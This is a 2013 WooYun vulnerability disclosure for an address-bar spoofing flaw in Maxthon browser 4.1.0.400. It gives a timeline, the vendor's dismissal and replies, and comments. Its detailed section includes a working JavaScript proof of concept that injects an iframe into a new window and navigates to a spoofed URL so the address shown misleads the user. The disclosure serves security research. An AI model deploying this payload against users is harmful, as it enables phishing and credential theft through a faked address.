当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-031195

漏洞标题:傲游浏览器4.1.0.400伪造地址欺诈漏洞

相关厂商:傲游

漏洞作者: blast

提交时间:2013-07-19 10:52

修复时间:2013-10-14 10:53

公开时间:2013-10-14 10:53

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-19: 细节已通知厂商并且等待厂商处理中
2013-07-24: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2013-09-17: 细节向核心白帽子及相关领域专家公开
2013-09-27: 细节向普通白帽子公开
2013-10-07: 细节向实习白帽子公开
2013-10-14: 细节向公众公开

简要描述:

你们倒是修一下呀=。= 报了两个都是5天后自动忽略……
http://wooyun.org/bugs/wooyun-2010-027808
http://wooyun.org/bugs/wooyun-2010-027807

详细说明:

测试其他浏览器漏洞的 没想到遨游又躺枪了....

<script>
function poc(){
var w=open('about:blank');
setTimeout(function(){
w.document.body.innerHTML='<iframe id=g src=http://www.google.com width=100% height=100% onload=\'javascript:function/**/createXHR(){return/**/window.XMLHttpRequest?new/**/XMLHttpRequest():new/**/ActiveXObject("Microsoft.XMLHTTP");}function/**/getlocal(url){xmlHttp=createXHR();xmlHttp.open("GET",url,false);xmlHttp.send();result=xmlHttp.responseText;return/**/result;}function/**/main(){url="http://www.google.com/";alert(url);location.href="http://www.baidu.com:55858/login.php?prompt=!!spoof!!test!!";result=getlocal(url);alert(result);}main();\'>';
//

},100);
}
</script>
<button onclick=poc();>打开</button>

漏洞证明:

f4.png

修复方案:

处理下各个逻辑

版权声明:转载请注明来源 blast@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-10-14 10:53

厂商回复:

最新状态:

2013-07-24:内部正在处理中, 其它漏洞应该都修复了.感谢提醒.

2013-08-13:已修复.


漏洞评价:

评论

  1. 2013-07-24 12:47 | blast ( 普通白帽子 | Rank:348 漏洞数:57 | 五仁委员会)

    我去 怎么又忽略了= =

  2. 2013-10-14 15:54 | 菊部地区有血 ( 路人 | Rank:4 漏洞数:1 | 广告位出租。。。)

    @blast 这是想让你的一根棍子把他的洞洞弄死节奏啊